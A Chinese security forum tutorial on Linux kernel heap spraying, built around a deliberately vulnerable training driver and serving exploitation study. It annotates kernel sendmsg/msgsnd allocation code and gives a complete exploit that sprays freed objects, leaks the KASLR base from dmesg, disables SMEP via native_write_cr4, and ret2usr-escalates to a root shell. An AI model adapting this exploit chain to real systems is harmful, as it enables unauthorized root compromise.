首页
社区
课程
招聘
[原创]Linux内核堆喷(Linux Kernel Heap Spray)
2020-12-3 11:38 7785

[原创]Linux内核堆喷(Linux Kernel Heap Spray)

2020-12-3 11:38
7785

Linux内核堆喷(Linux Kernel Heap Spray)

基于:vulnerable_linux_drive(类似windows著名的的HEVD)

 

驱动地址:https://github.com/invictus-0x90/vulnerable_linux_driver

What is Linux Kernel Heap Spray?

将Shellcode与大量的slide code(滑板指令)相组合,组成一整个 注入代码段 ,然后向系统申请大量的内存空间,并反复用 注入代码段 填充,然后将程序执行流劫持到内核堆上,使得程序慢慢“滑”向SHellcode。

 

Slide code一般使用:

 

1.NOP指令(\x90)

 

2.\x0c

 

3.\x0d

 

他们均不会影响shellcode的执行。

Basic linux kernel memory management

Intro to SLAB

SLAB作为用户linux系统内核对于小对象的高速cache。

 

cat /proc/slabinfo 可以查看当前 slab 对象的分配情况。

 

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Acpi-Namespace      7854   7854     40  102    1 : tunables    0    0    0 : slabdata     77     77      0
numa_policy          186    186    264   62    4 : tunables    0    0    0 : slabdata      3      3      0
trace_event_file    1426   1426     88   46    1 : tunables    0    0    0 : slabdata     31     31      0
ftrace_event_field   3400   3400     48   85    1 : tunables    0    0    0 : slabdata     40     40      0
radix_tree_node    13694  15848    584   56    8 : tunables    0    0    0 : slabdata    283    283      0
task_group           168    168    576   56    8 : tunables    0    0    0 : slabdata      3      3      0
dma-kmalloc-8192       0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4096       0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2048       0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1024       0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512       64     64    512   64    8 : tunables    0    0    0 : slabdata      1      1      0
dma-kmalloc-256        0      0    256   64    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   64    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-8192         410    420   8192    4    8 : tunables    0    0    0 : slabdata    105    105      0
kmalloc-4096         342    360   4096    8    8 : tunables    0    0    0 : slabdata     45     45      0
kmalloc-2048        2478   2528   2048   16    8 : tunables    0    0    0 : slabdata    158    158      0
kmalloc-1024        5980   6304   1024   32    8 : tunables    0    0    0 : slabdata    197    197      0
kmalloc-512        41282  41792    512   64    8 : tunables    0    0    0 : slabdata    653    653      0
kmalloc-256         7786   8000    256   64    4 : tunables    0    0    0 : slabdata    125    125      0
kmalloc-192         6174   6174    192   42    2 : tunables    0    0    0 : slabdata    147    147      0
kmalloc-128         2240   2240    128   64    2 : tunables    0    0    0 : slabdata     35     35      0
kmalloc-96          7455   9786     96   42    1 : tunables    0    0    0 : slabdata    233    233      0
kmalloc-64         23669  24192     64   64    1 : tunables    0    0    0 : slabdata    378    378      0
kmalloc-32         31701  32640     32  128    1 : tunables    0    0    0 : slabdata    255    255      0
kmalloc-16         13568  13568     16  256    1 : tunables    0    0    0 : slabdata     53     53      0
kmalloc-8          12288  12288      8  512    1 : tunables    0    0    0 : slabdata     24     24      0
kmem_cache_node     1920   1920     64   64    1 : tunables    0    0    0 : slabdata     30     30      0
kmem_cache          1890   1890    384   42    4 : tunables    0    0    0 : slabdata     45     45      0

其中 kmalloc-8 代表:首先,他是一个普通的(非专用slab),里面的对象都是8B,当你申请1到8B时会从这里给你返回一个cache对象,当你kfree掉他时,这个free_cache会回到kmalloc-8的SLAB里面。(类比用户态有点像一个本身就有chunk的fastbin?)

 

与用户态相似的,当free掉一个SLAB对象时,仅仅是标free,并且slab优先分配最后被free的对象。

 

而slab对象受到 kmem_cache 的管理(比如说kmalloc-8)。

 

其管理层级结构如下:

 

 

并且用户可以通过:kmem_cache_create 创建一个自己的 kmem_cache 数据结构。

How to trigger Kernel heap spray?

Using sendmsg()

函数原型:

1
2
3
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
               unsigned int flags, struct used_address *used_address,
               unsigned int allowed_msghdr_flags)

主要用于发送消息到另一个套接字,比如:在不同的进程之间传递文件描述符(file descriptor)

 

源码如下 :

1
2
3
4
5
6
7
8
9
struct msghdr {
    void        *msg_name;    /* ptr to socket address structure */
    int        msg_namelen;    /* size of socket address structure */
    struct iov_iter    msg_iter;    /* data */
    void        *msg_control;    /* ancillary data */
    __kernel_size_t    msg_controllen;    /* ancillary data buffer length */
    unsigned int    msg_flags;    /* flags on received message */
    struct kiocb    *msg_iocb;    /* ptr to iocb for async requests */
};

https://elixir.bootlin.com/linux/v4.4.31/source/net/socket.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));    //在栈上开44字节
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;                            //ctl_buf指向ctl.
    int ctl_len;
    ssize_t err;
 
    msg_sys->msg_name = &address;
 
    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
    else
        err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);        //这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
    if (err < 0)
        return err;
 
    err = -ENOBUFS;
 
    if (msg_sys->msg_controllen > INT_MAX)        //
        goto out_freeiov;
    ctl_len = msg_sys->msg_controllen;            //当msg_sys->msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys->msg_controllen()
    if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
        err =
            cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
                             sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        if (ctl_len > sizeof(ctl)) {            //当ctl_len>ctl(44字节)时
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);    //调用kmalloc 分配 ctl_len 大小的堆块
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
        if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))                //这里使用copy_from_user将用户态的msg_sys->msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;
 
    ......
 
}

DEMO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define _GNU_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define SIZE 84
 
int main(){
    char buf[SIZE];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    int fd = open("/dev/vulnerable_device",O_RDWR);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // filled with 0x61 'a'
    memset(buf,0x61,sizeof(buf));
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = SIZE;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
 
    // trigger UAF
    ioctl(fd,ALLOC_UAF_OBJ,NULL);   //alloc_uaf_obj
    ioctl(fd,FREE_UAF_OBJ,NULL);    //free uaf obj
 
         /* Heap spray */
     for(int i = 0; i < 100000; i++) {
         sendmsg(sockfd, &msgh, 0);
     }
 
 
      /* Trigger */
     ioctl(fd, USE_UAF_OBJ, NULL);
 
 
 
    return 0;
}

首先做一次UAF,然后练习100000调用sendmsg,参数中的msgh是我们用户态的东西。

 

 

将user space的controllen大小(84)赋值给ctl_len.

 

 

检测到大于0x44,重新调用kmalloc从专用SLAB中开内存

 

 

最后把用户态的内容拷贝到内核中。ctl_buf是kmalloc出的。

 

之后多次调用,完成大量申请空间并填充。

 

 

可以看到程序的执行流流向了我们填充的0x61,至此,堆喷成功。

Using msgsnd()

源码:

1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
        int, msgflg)
{
    long mtype;
 
    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;
 
    ns = current->nsproxy->ipc_ns;
 
    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;
 
    msg = load_msg(mtext, msgsz);
    .......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);                    //先创建一个msg_msg结构体,根据用户态的参数。msg_msg结构体大小等于0x30
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);
 
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))        //然后把用户态的内容拷贝过去
        goto out_err;
 
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
 
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
 
    return msg;
 
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;
 
    alen = min(len, DATALEN_MSG);
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
    if (msg == NULL)
        return NULL;
 
    msg->next = NULL;
    msg->security = NULL;
 
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
 
    return msg;
 
out_err:
    free_msg(msg);
    return NULL;
}

msg_msg结构如下:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;
    void *security;
    /* the actual message follows immediately */
};

所以我们不能控制前0x30,并且消息越大,越容易阻塞。

 

The second drawback, which is commented in my code, is that the larger the message, the fewer messages we can send before the process blocks. I presume this wouldn’t occur if I had another process calling msgrcv and taking messages out of the queue, but for now 120 allocations was enough.

漏洞利用

主要使用UAF漏洞配合Kernel heap spray来bypass smep和kalsr实现提权。

 

内核版本:4.4.31

 

缓解措施:kaslr + smep

 

利用过程:

 

1.首先在子进程中堆喷触发page fault,利用dmesg泄露加载基地址。

 

2.利用 native_write_cr4 将cr4第21位设置成0,整个cr4为0x6f0

 

3.关闭smep、smap后直接ret2usr起root shell

 

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
 
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define PATH "/dev/vulnerable_device"
#define SIZE 96
#define BASE 0xffffffff81000000
 
size_t base;
 
size_t SyS_ioctl_offset = 0xffffffff81218d40-0xffffffff81000000;
 
size_t native_write_cr4 = 0xffffffff81063570-BASE;
 
size_t commit_creds = 0xffffffff810a1380-BASE;
 
size_t prepare_kernel_cred = 0xffffffff810a1770-BASE;
 
size_t my_cr4 = 0x6f0;
typedef struct uaf_obj
{
        char uaf_first_buff[56];
        long arg;               // [+56]
        void (*fn)(long);       // [+56+sizeof(long)]
 
        char uaf_second_buff[12];
 
}uaf_obj;
 
void set_cpu_affinity(){
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0,&mask);
    if (sched_setaffinity(0,sizeof(mask),&mask))
        puts("set single CPU failed");
    return;
}
 
int heap_spray(int fd,size_t fn,size_t arg){
    char buf[SIZE];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    //int fd = open("/dev/vulnerable_device",O_RDWR);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // set uaf_obj
    memset(buf,0x61,sizeof(buf));
    memcpy(buf+56,&arg,sizeof(size_t));     // arg
    memcpy(buf+56+sizeof(size_t), &fn, sizeof(size_t));     //call back addr
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = SIZE;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
 
    // trigger UAF
    ioctl(fd,ALLOC_UAF_OBJ,NULL);   //alloc_uaf_obj
    ioctl(fd,FREE_UAF_OBJ,NULL);    //free uaf obj
 
         /* Heap spray */
     for(int i = 0; i < 100000; i++) {
         sendmsg(sockfd, &msgh, 0);
     }
 
 
      /* Trigger */
     ioctl(fd, USE_UAF_OBJ, NULL);
    return 0;
}
 
 
void trigger_page_fault(int fd){
    //int fd = open(PATH,O_RDWR);
    size_t fn = 0xDEADBEEFdeadbeef;     //invaild address
    size_t arg = 0xdeadbeefdeadbeef;
    heap_spray(fd,fn,arg);
    return;
}
size_t leak_base(){
    FILE *f;
    size_t info;
    system("dmesg | tail | grep SyS_ioctl | cut -b 19-34 > /tmp/leak");
    f = fopen("/tmp/leak","r");
    fscanf(f,"%lx",&info);
    printf("[*]success:0x%lx\n",info);
    fclose(f);
    return info;
}
void ret2usr(){
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
int main(){
    int fd = open(PATH,O_RDWR);
 
    set_cpu_affinity();
 
    pid_t pid=fork();
    int end;
 
    // fork a new process to trigger page fault
    if(pid==0){
        trigger_page_fault(fd);
        exit(0);
}
    wait(&end); // wait for child process exit(0)
 
    // get aslr base
    base = leak_base()-0x79-SyS_ioctl_offset;
    printf("[*]success leak base:0x%lx\n",base);
 
    commit_creds = base + commit_creds;
    prepare_kernel_cred = base + prepare_kernel_cred;
    native_write_cr4 = base + native_write_cr4;   
 
    //利用堆喷关闭smep
    heap_spray(fd,native_write_cr4,my_cr4);
    //直接ret2usr
    heap_spray(fd,ret2usr,0);
 
    if(getuid()==0){
 
    printf("[*] Welcome to root!\n");
    system("/bin/sh\x00");
 
}
    close(fd);
    return 0;
 
}

效果:

 

参考

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

 

https://fivezh.github.io/2017/06/25/Linux-slab-info/

 

[图解slub]http://www.wowotech.net/memory_management/426.html

 

http://www.secretmango.com/jimb/Whitepapers/slabs/slab.html

 

https://www.cnblogs.com/lojunren/p/3865232.html


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞4
打赏
分享
最新回复 (2)
雪    币: 11980
活跃值: (15277)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-12-4 08:40
2
0
mark,感谢分享
雪    币: 26
活跃值: (1292)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lukarl 2020-12-5 13:23
3
0
支持
游客
登录 | 注册 方可回帖
返回